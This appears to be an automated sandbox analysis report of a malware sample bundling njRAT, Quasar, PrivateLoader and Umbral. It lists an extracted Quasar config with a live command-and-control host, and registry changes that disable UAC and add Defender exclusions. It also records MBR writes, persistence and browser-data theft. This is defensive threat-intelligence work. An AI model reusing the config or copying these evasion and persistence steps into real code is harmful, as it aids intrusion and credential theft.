njrat | 10749906bc204c15934fdba1c3c5bb113156aadacd47d8609a3e543620f05c9a

Resubmissions

28-05-2024 21:39

240528-1h2bvadd2x 10

28-05-2024 21:26

240528-1apcbach8x 10

Analysis

max time kernel
169s
max time network
181s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
28-05-2024 21:39

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

vir.exe
Size

336.1MB
MD5

bc82ea785da1180a8a964b3e54ad106c
SHA1

4c1952ce778455af8ed10dca7b9f77d7815e8d0a
SHA256

c283ed662a29c18b117ba63ac41cca356934c6a29a1eb66e30d8305637e3411b
SHA512

62bf34d75e913a47185664a34555678d0b8c2cf03c9e922b0bdcb085713322bafba2bf396b43a4cda7e0be6d315aea027bba29c628fe561d01e3026b4e0b405b
SSDEEP

6291456:72qVJw+odBeWFv1k4R4b0ewZkhT4ofHwJjvZDQPf2tLSkHZdHVeVF0oJ:yr+WeSWgfecGT4RjvqP85/A33

Score

10^/10

njrat privateloader quasar umbral romka bootkit discovery evasion execution loader persistence ransomware spyware stealer trojan upx

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

romka

jozzu420-51305.portmap.host:51305

Mutex

0445c342-b551-411c-9b80-cd437437f491

Attributes

encryption_key
E1BF1D99459F04CAF668F054744BC2C514B0A3D6
install_name
Romilyaa.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Windows 10 Boot
subdirectory
SubDir

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000002aa2b-231.dat	family_umbral

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	yZcplMW9zYciItddg9zCgNQX.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000002aa27-227.dat	family_quasar
behavioral2/memory/5988-3333-0x0000000000F80000-0x00000000012A4000-memory.dmp	family_quasar

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Windows security bypass 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	yZcplMW9zYciItddg9zCgNQX.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\the.exe = "0"	powershell.exe

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	yZcplMW9zYciItddg9zCgNQX.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
24	5500	mshta.exe
24	5500	mshta.exe
24	5500	mshta.exe
95	5600	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2244	powershell.EXE
416	powershell.exe
4928	powershell.exe
1220	powershell.exe
4516	powershell.exe
5988	powershell.exe
1528	powershell.exe
4048	powershell.exe

Downloads MZ/PE file

.NET Reactor proctector 35 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/4840-243-0x0000000005F60000-0x00000000064B0000-memory.dmp	net_reactor
behavioral2/memory/4840-244-0x0000000006A60000-0x0000000006FAE000-memory.dmp	net_reactor
behavioral2/memory/4840-250-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-254-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-252-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-256-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-248-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-246-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-245-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-264-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-268-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-270-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-273-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-266-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-262-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-258-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-260-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-275-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-277-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-283-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-281-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-291-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-289-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-287-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-285-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-296-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-293-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-301-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-300-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-297-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-305-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-303-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-308-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-312-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor
behavioral2/memory/4840-310-0x0000000006A60000-0x0000000006FA9000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	yZcplMW9zYciItddg9zCgNQX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	yZcplMW9zYciItddg9zCgNQX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Control Panel\International\Geo\Nation	VXepUMX.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Tsp2U0av5pyeSapWWnfPHsIF.bat	msbuild.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BLTckhMhUpLVGv2bec0prRHL.bat	msbuild.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\byS9Rkm2fYHoTq4yyoVIkplu.bat	msbuild.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K2mk0jNkIFqTco2x6qVkilWj.bat	msbuild.exe

Executes dropped EXE 21 IoCs

pid	Process
2468	ProgressBarSplash.exe
4840	Rover.exe
2772	Google.exe
5092	regmess.exe
5316	1.exe
5272	3.exe
1772	WinaeroTweaker-1.40.0.0-setup.exe
5764	WinaeroTweaker-1.40.0.0-setup.tmp
5988	scary.exe
5972	the.exe
5692	wimloader.dll
2604	Romilyaa.exe
3444	kQHioulRPhZaQbACXr9gjsus.exe
2128	yZcplMW9zYciItddg9zCgNQX.exe
5948	tf9YZVInmohOZ15nUjtBP60Y.exe
3084	Install.exe
4528	Install.exe
3280	Install.exe
5072	VXepUMX.exe
4252	360TS_Setup.exe
3584	360TS_Setup.exe

Loads dropped DLL 9 IoCs

pid	Process
5316	1.exe
5316	1.exe
5316	1.exe
5764	WinaeroTweaker-1.40.0.0-setup.tmp
3444	kQHioulRPhZaQbACXr9gjsus.exe
5600	rundll32.exe
4252	360TS_Setup.exe
3584	360TS_Setup.exe
3584	360TS_Setup.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000002aa18-211.dat	upx
behavioral2/memory/5272-3278-0x0000000000780000-0x0000000001DA7000-memory.dmp	upx
behavioral2/memory/5272-3332-0x0000000000780000-0x0000000001DA7000-memory.dmp	upx

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	yZcplMW9zYciItddg9zCgNQX.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	yZcplMW9zYciItddg9zCgNQX.exe

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	VXepUMX.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	VXepUMX.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
33	pastebin.com
34	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
69	ipinfo.io
3	ipinfo.io
41	api.myip.com
68	api.myip.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	kQHioulRPhZaQbACXr9gjsus.exe
File opened for modification	\??\PhysicalDrive0	360TS_Setup.exe

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000100000002aa17-122.dat	autoit_exe
behavioral2/files/0x000100000002aa11-206.dat	autoit_exe
behavioral2/files/0x000100000002aa1c-216.dat	autoit_exe

Drops file in System32 directory 35 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	VXepUMX.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	VXepUMX.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	yZcplMW9zYciItddg9zCgNQX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	VXepUMX.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	VXepUMX.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	VXepUMX.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	yZcplMW9zYciItddg9zCgNQX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	VXepUMX.exe
File opened for modification	C:\Windows\System32\GroupPolicy	yZcplMW9zYciItddg9zCgNQX.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	yZcplMW9zYciItddg9zCgNQX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686	VXepUMX.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	VXepUMX.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\%username%\\Desktop\\t\\a\\bg.png"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2128	yZcplMW9zYciItddg9zCgNQX.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4048 set thread context of 432	4048	powershell.exe	183

Drops file in Program Files directory 43 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini	360TS_Setup.exe
File opened for modification	C:\Program Files\Winaero Tweaker\WinaeroTweaker.exe	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\SubDir\Romilyaa.exe	scary.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	VXepUMX.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	VXepUMX.exe
File created	C:\Program Files (x86)\tegRANPZONsU2\EZEZajE.xml	VXepUMX.exe
File created	C:\Program Files (x86)\360\Total Security\writeable_test_240774234.dat	360TS_Setup.exe
File opened for modification	C:\Program Files\Winaero Tweaker\WinaeroTweaker_i386.dll	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-3GK8O.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files (x86)\krdeMCnRKomDOvwVunR\GtRnvMb.xml	VXepUMX.exe
File created	C:\Program Files (x86)\1716933062_0\360TS_Setup.exe	360TS_Setup.exe
File opened for modification	C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini	360TS_Setup.exe
File opened for modification	C:\Program Files\Winaero Tweaker\WinaeroTweakerHelper.exe	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-LFJDQ.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files (x86)\JipyTrDkU\gcFAFvc.xml	VXepUMX.exe
File created	C:\Program Files (x86)\krdeMCnRKomDOvwVunR\erWQrvT.dll	VXepUMX.exe
File created	C:\Program Files (x86)\nFLFFjqrQPUn\oxRpnbr.dll	VXepUMX.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\i18n.ini	360TS_Setup.exe
File created	C:\Program Files\Winaero Tweaker\is-BPKGE.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files (x86)\JipyTrDkU\UCDKYM.dll	VXepUMX.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	VXepUMX.exe
File created	C:\Program Files (x86)\tegRANPZONsU2\QUvCfDrKVYDMS.dll	VXepUMX.exe
File created	C:\Program Files (x86)\360\Total Security\config.ini	360TS_Setup.exe
File opened for modification	C:\Program Files (x86)\360\Total Security\config.ini	360TS_Setup.exe
File opened for modification	C:\Program Files\Winaero Tweaker\WinaeroControls.dll	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-4SK3O.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-LETO0.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	VXepUMX.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	VXepUMX.exe
File opened for modification	C:\Program Files (x86)\360\Total Security\i18n\i18n.ini	360TS_Setup.exe
File created	C:\Program Files\Winaero Tweaker\unins000.dat	WinaeroTweaker-1.40.0.0-setup.tmp
File opened for modification	C:\Program Files (x86)\1716933062_0\360TS_Setup.exe	360TS_Setup.exe
File opened for modification	C:\Program Files\Winaero Tweaker\unins000.dat	WinaeroTweaker-1.40.0.0-setup.tmp
File opened for modification	C:\Program Files\SubDir\Romilyaa.exe	scary.exe
File opened for modification	C:\Program Files\Winaero Tweaker\WinaeroTweaker_x86_64.dll	WinaeroTweaker-1.40.0.0-setup.tmp
File opened for modification	C:\Program Files\Winaero Tweaker\Elevator.exe	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-LKBB2.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-M6ENV.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-T8SN0.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files\Winaero Tweaker\is-LANIE.tmp	WinaeroTweaker-1.40.0.0-setup.tmp
File created	C:\Program Files (x86)\YLgKyOFzWxOqC\MgUdQgr.dll	VXepUMX.exe
File created	C:\Program Files (x86)\YLgKyOFzWxOqC\Fvrnqvh.xml	VXepUMX.exe
File created	C:\Program Files\Winaero Tweaker\is-U27V8.tmp	WinaeroTweaker-1.40.0.0-setup.tmp

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bqGGCwwWIommTRgeuN.job	schtasks.exe
File created	C:\Windows\Tasks\WKALCIrwIEiqhKBsn.job	schtasks.exe
File created	C:\Windows\Tasks\jiLwFdOzPPQiWLm.job	schtasks.exe
File created	C:\Windows\Tasks\QdCYtDviHOrgqJLgZ.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
5516	5272	WerFault.exe	144
6048	3280	WerFault.exe	225
3428	4528	WerFault.exe	193
1700	5072	WerFault.exe	314

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x000100000002aa36-241.dat	nsis_installer_1
behavioral2/files/0x000100000002aa36-241.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5824	schtasks.exe
4548	schtasks.exe
3084	schtasks.exe
3748	schtasks.exe
1292	schtasks.exe
4876	schtasks.exe
1908	schtasks.exe
4828	schtasks.exe
5148	schtasks.exe
2964	schtasks.exe
5552	schtasks.exe
4992	schtasks.exe
2376	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3416	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
4424	tasklist.exe

Enumerates system info in registry 2 TTPs 16 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1280	ipconfig.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
3200	taskkill.exe
4232	taskkill.exe
2652	taskkill.exe
5588	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\26\IEFixedFontName = "NSimsun"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\27	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\4	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\8	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\14\IEPropFontName = "Kalinga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\17\IEFixedFontName = "Tunga"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\21\IEPropFontName = "Microsoft Himalaya"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\25\IEFixedFontName = "MingLiu"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\36\IEPropFontName = "Myanmar Text"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\39\IEPropFontName = "Mongolian Baiti"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\17	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Internet Explorer\International\Scripts\39\IEFixedFontName = "Mongolian Baiti"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\12	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6	reg.exe
